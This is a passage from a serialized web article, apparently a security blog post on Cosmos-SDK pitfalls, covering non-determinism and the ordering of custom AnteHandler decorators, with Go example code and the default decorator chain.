storeInfos",{"type":22,"tag":118,"props":79809,"children":79810},{"style":210},[79811],{"type":28,"value":837},{"type":22,"tag":118,"props":79813,"children":79814},{"style":532},[79815],{"type":28,"value":79292},{"type":22,"tag":118,"props":79817,"children":79818},{"style":125},[79819],{"type":28,"value":540},{"type":22,"tag":118,"props":79821,"children":79822},{"style":204},[79823],{"type":28,"value":79824},"storeInfos",{"type":22,"tag":118,"props":79826,"children":79827},{"style":125},[79828],{"type":28,"value":231},{"type":22,"tag":118,"props":79830,"children":79831},{"style":131},[79832],{"type":28,"value":7769},{"type":22,"tag":118,"props":79834,"children":79835},{"style":125},[79836],{"type":28,"value":292},{"type":22,"tag":118,"props":79838,"children":79839},{"style":131},[79840],{"type":28,"value":79688},{"type":22,"tag":118,"props":79842,"children":79843},{"style":125},[79844],{"type":28,"value":12879},{"type":22,"tag":118,"props":79846,"children":79847},{"class":120,"line":359},[79848,79853,79858,79862,79866,79871],{"type":22,"tag":118,"props":79849,"children":79850},{"style":204},[79851],{"type":28,"value":79852},"            Name",{"type":22,"tag":118,"props":79854,"children":79855},{"style":125},[79856],{"type":28,"value":79857},":     ",{"type":22,"tag":118,"props":79859,"children":79860},{"style":204},[79861],{"type":28,"value":1093},{"type":22,"tag":118,"props":79863,"children":79864},{"style":125},[79865],{"type":28,"value":292},{"type":22,"tag":118,"props":79867,"children":79868},{"style":532},[79869],{"type":28,"value":79870},"Name",{"type":22,"tag":118,"props":79872,"children":79873},{"style":125},[79874],{"type":28,"value":768},{"type":22,"tag":118,"props":79876,"children":79877},{"class":120,"line":368},[79878,79883,79887,79891,79895,79900],{"type":22,"tag":118,"props":79879,"children":79880},{"style":204},[79881],{"type":28,"value":79882},"            CommitId",{"type":22,"tag":118,"props":79884,"children":79885},{"style":125},[79886],{"type":28,"value":1319},{"type":22,"tag":118,"props":79888,"children":79889},{"style":204},[79890],{"type":28,"value":7950},{"type":22,"tag":118,"props":79892,"children":79893},{"style":125},[79894],{"type":28,"value":292},{"type":22,"tag":118,"props":79896,"children":79897},{"style":532},[79898],{"type":28,"value":79899},"LastCommitID",{"type":22,"tag":118,"props":79901,"children":79902},{"style":125},[79903],{"type":28,"value":768},{"type":22,"tag":118,"props":79905,"children":79906},{"class":120,"line":384},[79907],{"type":22,"tag":118,"props":79908,"children":79909},{"style":125},[79910],{"type":28,"value":70137},{"type":22,"tag":118,"props":79912,"children":79913},{"class":120,"line":417},[79914],{"type":22,"tag":118,"props":79915,"children":79916},{"style":125},[79917],{"type":28,"value":1254},{"type":22,"tag":118,"props":79919,"children":79920},{"class":120,"line":425},[79921,79925,79929,79933,79937,79941],{"type":22,"tag":118,"props":79922,"children":79923},{"style":1480},[79924],{"type":28,"value":18954},{"type":22,"tag":118,"props":79926,"children":79927},{"style":210},[79928],{"type":28,"value":1430},{"type":22,"tag":118,"props":79930,"children":79931},{"style":131},[79932],{"type":28,"value":7769},{"type":22,"tag":118,"props":79934,"children":79935},{"style":125},[79936],{"type":28,"value":292},{"type":22,"tag":118,"props":79938,"children":79939},{"style":131},[79940],{"type":28,"value":79655},{"type":22,"tag":118,"props":79942,"children":79943},{"style":125},[79944],{"type":28,"value":12879},{"type":22,"tag":118,"props":79946,"children":79947},{"class":120,"line":441},[79948,79953,79958,79963],{"type":22,"tag":118,"props":79949,"children":79950},{"style":204},[79951],{"type":28,"value":79952},"        Version",{"type":22,"tag":118,"props":79954,"children":79955},{"style":125},[79956],{"type":28,"value":79957},":    ",{"type":22,"tag":118,"props":79959,"children":79960},{"style":204},[79961],{"type":28,"value":79962},"version",{"type":22,"tag":118,"props":79964,"children":79965},{"style":125},[79966],{"type":28,"value":782},{"type":22,"tag":118,"props":79968,"children":79969},{"class":120,"line":475},[79970,79975,79979,79983],{"type":22,"tag":118,"props":79971,"children":79972},{"style":204},[79973],{"type":28,"value":79974},"        StoreInfos",{"type":22,"tag":118,"props":79976,"children":79977},{"style":125},[79978],{"type":28,"value":1319},{"type":22,"tag":118,"props":79980,"children":79981},{"style":204},[79982],{"type":28,"value":79824},{"type":22,"tag":118,"props":79984,"children":79985},{"style":125},[79986],{"type":28,"value":782},{"type":22,"tag":118,"props":79988,"children":79989},{"class":120,"line":484},[79990],{"type":22,"tag":118,"props":79991,"children":79992},{"style":125},[79993],{"type":28,"value":1254},{"type":22,"tag":118,"props":79995,"children":79996},{"class":120,"line":492},[79997],{"type":22,"tag":118,"props":79998,"children":79999},{"style":125},[80000],{"type":28,"value":481},{"type":22,"tag":31,"props":80002,"children":80003},{},[80004,80006,80013,80014,80021],{"type":28,"value":80005},"Other factors contributing to determinism issues are the usage of ",{"type":22,"tag":42,"props":80007,"children":80010},{"href":80008,"rel":80009},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[46],[80011],{"type":28,"value":80012},"time-sensitive functions",{"type":28,"value":12991},{"type":22,"tag":42,"props":80015,"children":80018},{"href":80016,"rel":80017},"https://github.com/cosmos/cosmos-sdk/issues/16638",[46],[80019],{"type":28,"value":80020},"race conditions",{"type":28,"value":292},{"type":22,"tag":23,"props":80023,"children":80025},{"id":80024},"thou-shalt-not-passor-should-you",[80026],{"type":28,"value":80027},"Thou Shalt Not Pass...Or Should You?",{"type":22,"tag":31,"props":80029,"children":80030},{},[80031,80033,80039,80040,80046],{"type":28,"value":80032},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":22,"tag":114,"props":80034,"children":80036},{"className":80035},[],[80037],{"type":28,"value":80038},"msg.value",{"type":28,"value":231},{"type":22,"tag":114,"props":80041,"children":80043},{"className":80042},[],[80044],{"type":28,"value":80045},"msg.sender",{"type":28,"value":80047},", and collecting transaction fees) to the underlying blockchain.",{"type":22,"tag":31,"props":80049,"children":80050},{},[80051,80053,80059,80061,80067],{"type":28,"value":80052},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":22,"tag":114,"props":80054,"children":80056},{"className":80055},[],[80057],{"type":28,"value":80058},"Cosmos-SDK",{"type":28,"value":80060}," introduces ",{"type":22,"tag":114,"props":80062,"children":80064},{"className":80063},[],[80065],{"type":28,"value":80066},"AnteHandler",{"type":28,"value":80068}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":22,"tag":31,"props":80070,"children":80071},{},[80072,80074,80079,80081,80086],{"type":28,"value":80073},"To provide context, let's first understand how an ",{"type":22,"tag":114,"props":80075,"children":80077},{"className":80076},[],[80078],{"type":28,"value":80066},{"type":28,"value":80080}," is processed. Each ",{"type":22,"tag":114,"props":80082,"children":80084},{"className":80083},[],[80085],{"type":28,"value":80066},{"type":28,"value":80087}," is a state transition function that can:",{"type":22,"tag":4029,"props":80089,"children":80090},{},[80091,80096],{"type":22,"tag":68,"props":80092,"children":80093},{},[80094],{"type":28,"value":80095},"Transform the block state in relation to transaction and execution context.",{"type":22,"tag":68,"props":80097,"children":80098},{},[80099,80101],{"type":28,"value":80100},"Determine the course of action for the transaction.\n",{"type":22,"tag":4029,"props":80102,"children":80103},{},[80104,80115],{"type":22,"tag":68,"props":80105,"children":80106},{},[80107,80109,80114],{"type":28,"value":80108},"Pass the transaction to the next ",{"type":22,"tag":114,"props":80110,"children":80112},{"className":80111},[],[80113],{"type":28,"value":80066},{"type":28,"value":292},{"type":22,"tag":68,"props":80116,"children":80117},{},[80118],{"type":28,"value":80119},"Return error for transaction.",{"type":22,"tag":31,"props":80121,"children":80122},{},[80123,80125,80130],{"type":28,"value":80124},"The bad news is that developing an ",{"type":22,"tag":114,"props":80126,"children":80128},{"className":80127},[],[80129],{"type":28,"value":80066},{"type":28,"value":80131}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":22,"tag":31,"props":80133,"children":80134},{},[80135,80136,80142],{"type":28,"value":2743},{"type":22,"tag":114,"props":80137,"children":80139},{"className":80138},[],[80140],{"type":28,"value":80141},"AnteHandle",{"type":28,"value":80143}," implementation may look something like this:",{"type":22,"tag":107,"props":80145,"children":80147},{"code":80146,"language":77760,"meta":7,"className":77761,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[80148],{"type":22,"tag":114,"props":80149,"children":80150},{"__ignoreMap":7},[80151,80163,80179,80186,80193,80226,80250,80275,80291,80315,80347,80395,80414,80447,80468,80480,80487,80494,80501,80531,80567,80631,80665,80697,80709,80721,80728,80735,80742,80749,80791],{"type":22,"tag":118,"props":80152,"children":80153},{"class":120,"line":121},[80154,80158],{"type":22,"tag":118,"props":80155,"children":80156},{"style":146},[80157],{"type":28,"value":11653},{"type":22,"tag":118,"props":80159,"children":80160},{"style":125},[80161],{"type":28,"value":80162}," (\n",{"type":22,"tag":118,"props":80164,"children":80165},{"class":120,"line":142},[80166,80171,80175],{"type":22,"tag":118,"props":80167,"children":80168},{"style":204},[80169],{"type":28,"value":80170},"    MIN_BALANCE",{"type":22,"tag":118,"props":80172,"children":80173},{"style":210},[80174],{"type":28,"value":837},{"type":22,"tag":118,"props":80176,"children":80177},{"style":674},[80178],{"type":28,"value":21310},{"type":22,"tag":118,"props":80180,"children":80181},{"class":120,"line":177},[80182],{"type":22,"tag":118,"props":80183,"children":80184},{"style":125},[80185],{"type":28,"value":3665},{"type":22,"tag":118,"props":80187,"children":80188},{"class":120,"line":195},[80189],{"type":22,"tag":118,"props":80190,"children":80191},{"emptyLinePlaceholder":15},[80192],{"type":28,"value":250},{"type":22,"tag":118,"props":80194,"children":80195},{"class":120,"line":244},[80196,80200,80204,80209,80214,80218,80222],{"type":22,"tag":118,"props":80197,"children":80198},{"style":146},[80199],{"type":28,"value":77896},{"type":22,"tag":118,"props":80201,"children":80202},{"style":125},[80203],{"type":28,"value":842},{"type":22,"tag":118,"props":80205,"children":80206},{"style":204},[80207],{"type":28,"value":80208},"abd ",{"type":22,"tag":118,"props":80210,"children":80211},{"style":131},[80212],{"type":28,"value":80213},"AccountBalanceDecorator",{"type":22,"tag":118,"props":80215,"children":80216},{"style":125},[80217],{"type":28,"value":588},{"type":22,"tag":118,"props":80219,"children":80220},{"style":532},[80221],{"type":28,"value":80141},{"type":22,"tag":118,"props":80223,"children":80224},{"style":125},[80225],{"type":28,"value":696},{"type":22,"tag":118,"props":80227,"children":80228},{"class":120,"line":253},[80229,80233,80238,80242,80246],{"type":22,"tag":118,"props":80230,"children":80231},{"style":204},[80232],{"type":28,"value":22191},{"type":22,"tag":118,"props":80234,"children":80235},{"style":131},[80236],{"type":28,"value":80237}," sdk",{"type":22,"tag":118,"props":80239,"children":80240},{"style":125},[80241],{"type":28,"value":292},{"type":22,"tag":118,"props":80243,"children":80244},{"style":131},[80245],{"type":28,"value":77945},{"type":22,"tag":118,"props":80247,"children":80248},{"style":125},[80249],{"type":28,"value":782},{"type":22,"tag":118,"props":80251,"children":80252},{"class":120,"line":263},[80253,80258,80262,80266,80271],{"type":22,"tag":118,"props":80254,"children":80255},{"style":204},[80256],{"type":28,"value":80257},"    tx",{"type":22,"tag":118,"props":80259,"children":80260},{"style":131},[80261],{"type":28,"value":80237},{"type":22,"tag":118,"props":80263,"children":80264},{"style":125},[80265],{"type":28,"value":292},{"type":22,"tag":118,"props":80267,"children":80268},{"style":131},[80269],{"type":28,"value":80270},"Tx",{"type":22,"tag":118,"props":80272,"children":80273},{"style":125},[80274],{"type":28,"value":782},{"type":22,"tag":118,"props":80276,"children":80277},{"class":120,"line":318},[80278,80283,80287],{"type":22,"tag":118,"props":80279,"children":80280},{"style":204},[80281],{"type":28,"value":80282},"    simulate",{"type":22,"tag":118,"props":80284,"children":80285},{"style":131},[80286],{"type":28,"value":1469},{"type":22,"tag":118,"props":80288,"children":80289},{"style":125},[80290],{"type":28,"value":782},{"type":22,"tag":118,"props":80292,"children":80293},{"class":120,"line":351},[80294,80299,80303,80307,80311],{"type":22,"tag":118,"props":80295,"children":80296},{"style":204},[80297],{"type":28,"value":80298},"    next",{"type":22,"tag":118,"props":80300,"children":80301},{"style":131},[80302],{"type":28,"value":80237},{"type":22,"tag":118,"props":80304,"children":80305},{"style":125},[80306],{"type":28,"value":292},{"type":22,"tag":118,"props":80308,"children":80309},{"style":131},[80310],{"type":28,"value":80066},{"type":22,"tag":118,"props":80312,"children":80313},{"style":125},[80314],{"type":28,"value":782},{"type":22,"tag":118,"props":80316,"children":80317},{"class":120,"line":359},[80318,80322,80327,80331,80335,80339,80343],{"type":22,"tag":118,"props":80319,"children":80320},{"style":125},[80321],{"type":28,"value":77978},{"type":22,"tag":118,"props":80323,"children":80324},{"style":131},[80325],{"type":28,"value":80326},"sdk",{"type":22,"tag":118,"props":80328,"children":80329},{"style":125},[80330],{"type":28,"value":292},{"type":22,"tag":118,"props":80332,"children":80333},{"style":131},[80334],{"type":28,"value":77945},{"type":22,"tag":118,"props":80336,"children":80337},{"style":125},[80338],{"type":28,"value":231},{"type":22,"tag":118,"props":80340,"children":80341},{"style":131},[80342],{"type":28,"value":16841},{"type":22,"tag":118,"props":80344,"children":80345},{"style":125},[80346],{"type":28,"value":16783},{"type":22,"tag":118,"props":80348,"children":80349},{"class":120,"line":368},[80350,80355,80359,80364,80368,80372,80377,80382,80386,80391],{"type":22,"tag":118,"props":80351,"children":80352},{"style":204},[80353],{"type":28,"value":80354},"    sigTx",{"type":22,"tag":118,"props":80356,"children":80357},{"style":125},[80358],{"type":28,"value":231},{"type":22,"tag":118,"props":80360,"children":80361},{"style":204},[80362],{"type":28,"value":80363},"ok",{"type":22,"tag":118,"props":80365,"children":80366},{"style":210},[80367],{"type":28,"value":78012},{"type":22,"tag":118,"props":80369,"children":80370},{"style":204},[80371],{"type":28,"value":69968},{"type":22,"tag":118,"props":80373,"children":80374},{"style":125},[80375],{"type":28,"value":80376},".(",{"type":22,"tag":118,"props":80378,"children":80379},{"style":131},[80380],{"type":28,"value":80381},"authsigning",{"type":22,"tag":118,"props":80383,"children":80384},{"style":125},[80385],{"type":28,"value":292},{"type":22,"tag":118,"props":80387,"children":80388},{"style":131},[80389],{"type":28,"value":80390},"SigVerifiableTx",{"type":22,"tag":118,"props":80392,"children":80393},{"style":125},[80394],{"type":28,"value":3665},{"type":22,"tag":118,"props":80396,"children":80397},{"class":120,"line":384},[80398,80402,80406,80410],{"type":22,"tag":118,"props":80399,"children":80400},{"style":1480},[80401],{"type":28,"value":2159},{"type":22,"tag":118,"props":80403,"children":80404},{"style":210},[80405],{"type":28,"value":2164},{"type":22,"tag":118,"props":80407,"children":80408},{"style":204},[80409],{"type":28,"value":80363},{"type":22,"tag":118,"props":80411,"children":80412},{"style":125},[80413],{"type":28,"value":1474},{"type":22,"tag":118,"props":80415,"children":80416},{"class":120,"line":417},[80417,80421,80425,80429,80434,80438,80443],{"type":22,"tag":118,"props":80418,"children":80419},{"style":1480},[80420],{"type":28,"value":2223},{"type":22,"tag":118,"props":80422,"children":80423},{"style":204},[80424],{"type":28,"value":639},{"type":22,"tag":118,"props":80426,"children":80427},{"style":125},[80428],{"type":28,"value":231},{"type":22,"tag":118,"props":80430,"children":80431},{"style":204},[80432],{"type":28,"value":80433},"errorsmod",{"type":22,"tag":118,"props":80435,"children":80436},{"style":125},[80437],{"type":28,"value":292},{"type":22,"tag":118,"props":80439,"children":80440},{"style":532},[80441],{"type":28,"value":80442},"Wrap",{"type":22,"tag":118,"props":80444,"children":80445},{"style":125},[80446],{"type":28,"value":696},{"type":22,"tag":118,"props":80448,"children":80449},{"class":120,"line":425},[80450,80455,80459,80464],{"type":22,"tag":118,"props":80451,"children":80452},{"style":204},[80453],{"type":28,"value":80454},"            sdkerrors",{"type":22,"tag":118,"props":80456,"children":80457},{"style":125},[80458],{"type":28,"value":292},{"type":22,"tag":118,"props":80460,"children":80461},{"style":204},[80462],{"type":28,"value":80463},"ErrTxDecode",{"type":22,"tag":118,"props":80465,"children":80466},{"style":125},[80467],{"type":28,"value":782},{"type":22,"tag":118,"props":80469,"children":80470},{"class":120,"line":441},[80471,80476],{"type":22,"tag":118,"props":80472,"children":80473},{"style":1866},[80474],{"type":28,"value":80475},"            \"invalid tx type\"",{"type":22,"tag":118,"props":80477,"children":80478},{"style":125},[80479],{"type":28,"value":782},{"type":22,"tag":118,"props":80481,"children":80482},{"class":120,"line":475},[80483],{"type":22,"tag":118,"props":80484,"children":80485},{"style":125},[80486],{"type":28,"value":70259},{"type":22,"tag":118,"props":80488,"children":80489},{"class":120,"line":484},[80490],{"type":22,"tag":118,"props":80491,"children":80492},{"style":125},[80493],{"type":28,"value":1254},{"type":22,"tag":118,"props":80495,"children":80496},{"class":120,"line":492},[80497],{"type":22,"tag":118,"props":80498,"children":80499},{"emptyLinePlaceholder":15},[80500],{"type":28,"value":250},{"type":22,"tag":118,"props":80502,"children":80503},{"class":120,"line":501},[80504,80509,80513,80518,80522,80527],{"type":22,"tag":118,"props":80505,"children":80506},{"style":204},[80507],{"type":28,"value":80508},"    signers",{"type":22,"tag":118,"props":80510,"children":80511},{"style":210},[80512],{"type":28,"value":78012},{"type":22,"tag":118,"props":80514,"children":80515},{"style":204},[80516],{"type":28,"value":80517}," sigTx",{"type":22,"tag":118,"props":80519,"children":80520},{"style":125},[80521],{"type":28,"value":292},{"type":22,"tag":118,"props":80523,"children":80524},{"style":532},[80525],{"type":28,"value":80526},"GetSigners",{"type":22,"tag":118,"props":80528,"children":80529},{"style":125},[80530],{"type":28,"value":2708},{"type":22,"tag":118,"props":80532,"children":80533},{"class":120,"line":519},[80534,80538,80542,80546,80550,80554,80558,80563],{"type":22,"tag":118,"props":80535,"children":80536},{"style":1480},[80537],{"type":28,"value":5059},{"type":22,"tag":118,"props":80539,"children":80540},{"style":204},[80541],{"type":28,"value":5416},{"type":22,"tag":118,"props":80543,"children":80544},{"style":125},[80545],{"type":28,"value":231},{"type":22,"tag":118,"props":80547,"children":80548},{"style":204},[80549],{"type":28,"value":9153},{"type":22,"tag":118,"props":80551,"children":80552},{"style":210},[80553],{"type":28,"value":78012},{"type":22,"tag":118,"props":80555,"children":80556},{"style":1480},[80557],{"type":28,"value":78995},{"type":22,"tag":118,"props":80559,"children":80560},{"style":204},[80561],{"type":28,"value":80562}," signers",{"type":22,"tag":118,"props":80564,"children":80565},{"style":125},[80566],{"type":28,"value":1474},{"type":22,"tag":118,"props":80568,"children":80569},{"class":120,"line":606},[80570,80575,80579,80584,80588,80593,80597,80602,80606,80610,80614,80618,80622,80627],{"type":22,"tag":118,"props":80571,"children":80572},{"style":204},[80573],{"type":28,"value":80574},"        balance",{"type":22,"tag":118,"props":80576,"children":80577},{"style":210},[80578],{"type":28,"value":78012},{"type":22,"tag":118,"props":80580,"children":80581},{"style":204},[80582],{"type":28,"value":80583}," abd",{"type":22,"tag":118,"props":80585,"children":80586},{"style":125},[80587],{"type":28,"value":292},{"type":22,"tag":118,"props":80589,"children":80590},{"style":204},[80591],{"type":28,"value":80592},"bk",{"type":22,"tag":118,"props":80594,"children":80595},{"style":125},[80596],{"type":28,"value":292},{"type":22,"tag":118,"props":80598,"children":80599},{"style":532},[80600],{"type":28,"value":80601},"getBalance",{"type":22,"tag":118,"props":80603,"children":80604},{"style":125},[80605],{"type":28,"value":540},{"type":22,"tag":118,"props":80607,"children":80608},{"style":204},[80609],{"type":28,"value":545},{"type":22,"tag":118,"props":80611,"children":80612},{"style":125},[80613],{"type":28,"value":231},{"type":22,"tag":118,"props":80615,"children":80616},{"style":204},[80617],{"type":28,"value":9153},{"type":22,"tag":118,"props":80619,"children":80620},{"style":125},[80621],{"type":28,"value":231},{"type":22,"tag":118,"props":80623,"children":80624},{"style":204},[80625],{"type":28,"value":80626},"ATOM",{"type":22,"tag":118,"props":80628,"children":80629},{"style":125},[80630],{"type":28,"value":3665},{"type":22,"tag":118,"props":80632,"children":80633},{"class":120,"line":615},[80634,80638,80643,80647,80652,80656,80661],{"type":22,"tag":118,"props":80635,"children":80636},{"style":1480},[80637],{"type":28,"value":5293},{"type":22,"tag":118,"props":80639,"children":80640},{"style":204},[80641],{"type":28,"value":80642}," balance",{"type":22,"tag":118,"props":80644,"children":80645},{"style":125},[80646],{"type":28,"value":292},{"type":22,"tag":118,"props":80648,"children":80649},{"style":204},[80650],{"type":28,"value":80651},"Amount",{"type":22,"tag":118,"props":80653,"children":80654},{"style":210},[80655],{"type":28,"value":2197},{"type":22,"tag":118,"props":80657,"children":80658},{"style":204},[80659],{"type":28,"value":80660}," MIN_BALANCE",{"type":22,"tag":118,"props":80662,"children":80663},{"style":125},[80664],{"type":28,"value":1474},{"type":22,"tag":118,"props":80666,"children":80667},{"class":120,"line":685},[80668,80673,80677,80681,80685,80689,80693],{"type":22,"tag":118,"props":80669,"children":80670},{"style":1480},[80671],{"type":28,"value":80672},"            return",{"type":22,"tag":118,"props":80674,"children":80675},{"style":204},[80676],{"type":28,"value":639},{"type":22,"tag":118,"props":80678,"children":80679},{"style":125},[80680],{"type":28,"value":231},{"type":22,"tag":118,"props":80682,"children":80683},{"style":204},[80684],{"type":28,"value":80433},{"type":22,"tag":118,"props":80686,"children":80687},{"style":125},[80688],{"type":28,"value":292},{"type":22,"tag":118,"props":80690,"children":80691},{"style":532},[80692],{"type":28,"value":80442},{"type":22,"tag":118,"props":80694,"children":80695},{"style":125},[80696],{"type":28,"value":696},{"type":22,"tag":118,"props":80698,"children":80699},{"class":120,"line":699},[80700,80705],{"type":22,"tag":118,"props":80701,"children":80702},{"style":204},[80703],{"type":28,"value":80704},"                ErrInsufficientBalance",{"type":22,"tag":118,"props":80706,"children":80707},{"style":125},[80708],{"type":28,"value":782},{"type":22,"tag":118,"props":80710,"children":80711},{"class":120,"line":729},[80712,80717],{"type":22,"tag":118,"props":80713,"children":80714},{"style":1866},[80715],{"type":28,"value":80716},"                \"Insufficient Balance\"",{"type":22,"tag":118,"props":80718,"children":80719},{"style":125},[80720],{"type":28,"value":782},{"type":22,"tag":118,"props":80722,"children":80723},{"class":120,"line":771},[80724],{"type":22,"tag":118,"props":80725,"children":80726},{"style":125},[80727],{"type":28,"value":79111},{"type":22,"tag":118,"props":80729,"children":80730},{"class":120,"line":785},[80731],{"type":22,"tag":118,"props":80732,"children":80733},{"style":125},[80734],{"type":28,"value":1835},{"type":22,"tag":118,"props":80736,"children":80737},{"class":120,"line":804},[80738],{"type":22,"tag":118,"props":80739,"children":80740},{"style":125},[80741],{"type":28,"value":1254},{"type":22,"tag":118,"props":80743,"children":80744},{"class":120,"line":812},[80745],{"type":22,"tag":118,"props":80746,"children":80747},{"emptyLinePlaceholder":15},[80748],{"type":28,"value":250},{"type":22,"tag":118,"props":80750,"children":80751},{"class":120,"line":821},[80752,80756,80761,80765,80769,80773,80778,80782,80787],{"type":22,"tag":118,"props":80753,"children":80754},{"style":1480},[80755],{"type":28,"value":18954},{"type":22,"tag":118,"props":80757,"children":80758},{"style":532},[80759],{"type":28,"value":80760}," next",{"type":22,"tag":118,"props":80762,"children":80763},{"style":125},[80764],{"type":28,"value":540},{"type":22,"tag":118,"props":80766,"children":80767},{"style":204},[80768],{"type":28,"value":545},{"type":22,"tag":118,"props":80770,"children":80771},{"style":125},[80772],{"type":28,"value":231},{"type":22,"tag":118,"props":80774,"children":80775},{"style":204},[80776],{"type":28,"value":80777},"tx",{"type":22,"tag":118,"props":80779,"children":80780},{"style":125},[80781],{"type":28,"value":231},{"type":22,"tag":118,"props":80783,"children":80784},{"style":204},[80785],{"type":28,"value":80786},"simulate",{"type":22,"tag":118,"props":80788,"children":80789},{"style":125},[80790],{"type":28,"value":3665},{"type":22,"tag":118,"props":80792,"children":80793},{"class":120,"line":900},[80794],{"type":22,"tag":118,"props":80795,"children":80796},{"style":125},[80797],{"type":28,"value":481},{"type":22,"tag":31,"props":80799,"children":80800},{},[80801,80803,80808,80810,80816,80818,80824],{"type":28,"value":80802},"Where should this custom ",{"type":22,"tag":114,"props":80804,"children":80806},{"className":80805},[],[80807],{"type":28,"value":80066},{"type":28,"value":80809}," be placed relative to other ",{"type":22,"tag":114,"props":80811,"children":80813},{"className":80812},[],[80814],{"type":28,"value":80815},"AnteHandlers",{"type":28,"value":80817}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":22,"tag":114,"props":80819,"children":80821},{"className":80820},[],[80822],{"type":28,"value":80823},"SetUpContextDecorator",{"type":28,"value":80825}," should work, right?",{"type":22,"tag":31,"props":80827,"children":80828},{},[80829],{"type":22,"tag":42,"props":80830,"children":80833},{"href":80831,"rel":80832},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[46],[80834],{"type":28,"value":78335},{"type":22,"tag":107,"props":80836,"children":80838},{"code":80837,"language":77760,"meta":7,"className":77761,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[80839],{"type":22,"tag":114,"props":80840,"children":80841},{"__ignoreMap":7},[80842,80875,80892,80900,80929,80941,80953,80982,81010,81089,81122,81150,81195,81240,81268],{"type":22,"tag":118,"props":80843,"children":80844},{"class":120,"line":121},[80845,80850,80854,80858,80862,80866,80871],{"type":22,"tag":118,"props":80846,"children":80847},{"style":204},[80848],{"type":28,"value":80849},"anteDecorators",{"type":22,"tag":118,"props":80851,"children":80852},{"style":210},[80853],{"type":28,"value":78012},{"type":22,"tag":118,"props":80855,"children":80856},{"style":125},[80857],{"type":28,"value":77823},{"type":22,"tag":118,"props":80859,"children":80860},{"style":131},[80861],{"type":28,"value":80326},{"type":22,"tag":118,"props":80863,"children":80864},{"style":125},[80865],{"type":28,"value":292},{"type":22,"tag":118,"props":80867,"children":80868},{"style":131},[80869],{"type":28,"value":80870},"AnteDecorator",{"type":22,"tag":118,"props":80872,"children":80873},{"style":125},[80874],{"type":28,"value":12879},{"type":22,"tag":118,"props":80876,"children":80877},{"class":120,"line":142},[80878,80883,80887],{"type":22,"tag":118,"props":80879,"children":80880},{"style":532},[80881],{"type":28,"value":80882},"    NewSetUpContextDecorator",{"type":22,"tag":118,"props":80884,"children":80885},{"style":125},[80886],{"type":28,"value":20341},{"type":22,"tag":118,"props":80888,"children":80889},{"style":257},[80890],{"type":28,"value":80891},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":22,"tag":118,"props":80893,"children":80894},{"class":120,"line":177},[80895],{"type":22,"tag":118,"props":80896,"children":80897},{"style":257},[80898],{"type":28,"value":80899},"    // INSERT HERE\n",{"type":22,"tag":118,"props":80901,"children":80902},{"class":120,"line":195},[80903,80908,80912,80916,80920,80925],{"type":22,"tag":118,"props":80904,"children":80905},{"style":532},[80906],{"type":28,"value":80907},"    NewExtensionOptionsDecorator",{"type":22,"tag":118,"props":80909,"children":80910},{"style":125},[80911],{"type":28,"value":540},{"type":22,"tag":118,"props":80913,"children":80914},{"style":204},[80915],{"type":28,"value":37979},{"type":22,"tag":118,"props":80917,"children":80918},{"style":125},[80919],{"type":28,"value":292},{"type":22,"tag":118,"props":80921,"children":80922},{"style":204},[80923],{"type":28,"value":80924},"ExtensionOptionChecker",{"type":22,"tag":118,"props":80926,"children":80927},{"style":125},[80928],{"type":28,"value":3853},{"type":22,"tag":118,"props":80930,"children":80931},{"class":120,"line":244},[80932,80937],{"type":22,"tag":118,"props":80933,"children":80934},{"style":532},[80935],{"type":28,"value":80936},"    NewValidateBasicDecorator",{"type":22,"tag":118,"props":80938,"children":80939},{"style":125},[80940],{"type":28,"value":768},{"type":22,"tag":118,"props":80942,"children":80943},{"class":120,"line":253},[80944,80949],{"type":22,"tag":118,"props":80945,"children":80946},{"style":532},[80947],{"type":28,"value":80948},"    NewTxTimeoutHeightDecorator",{"type":22,"tag":118,"props":80950,"children":80951},{"style":125},[80952],{"type":28,"value":768},{"type":22,"tag":118,"props":80954,"children":80955},{"class":120,"line":263},[80956,80961,80965,80969,80973,80978],{"type":22,"tag":118,"props":80957,"children":80958},{"style":532},[80959],{"type":28,"value":80960},"    